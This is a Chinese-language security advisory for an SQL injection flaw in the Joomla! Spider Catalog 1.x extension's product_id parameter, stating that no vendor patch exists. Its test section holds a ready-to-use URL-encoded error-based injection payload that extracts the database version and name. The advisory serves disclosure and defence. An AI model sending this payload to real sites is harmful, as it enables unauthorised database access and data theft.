发布日期：2012-10-31
更新日期：2012-11-04
受影响系统：
Joomla! Spider Catalog 1.x
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 56357
Joomla! Spider Catalog扩展是将网站上的产品形成产品目录的工具。
Spider Catalog 1.1及其他版本存在SQL注入漏洞，通过 "product_id" 参数发送到index.php（当"option" 设置为 "com_spidercatalog") 的输入没有正确过滤即被用在SQL查询中，利用此漏洞可允许攻击者控制应用、访问或修改数据、利用下层数据库内的其他漏洞。
<*来源：Daniel Barragan
链接：
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
?option=com_spidercatalog&amp;product_id=-1%27%20or%201%3d1%2b%28select
%201%20and%20row%281%2c1%29%3E%28select%20count%28*%29%2cconcat%28CONCAT%28version%28%29,0x3D,database
%28%29,0x3D,0x3D,0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a
%20group%20by%20x%20limit%201%29%29%2b%27&amp;view=showproduct&amp;page_num=1&amp;back=1
建议：
--------------------------------------------------------------------------------
厂商补丁：
Joomla!
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：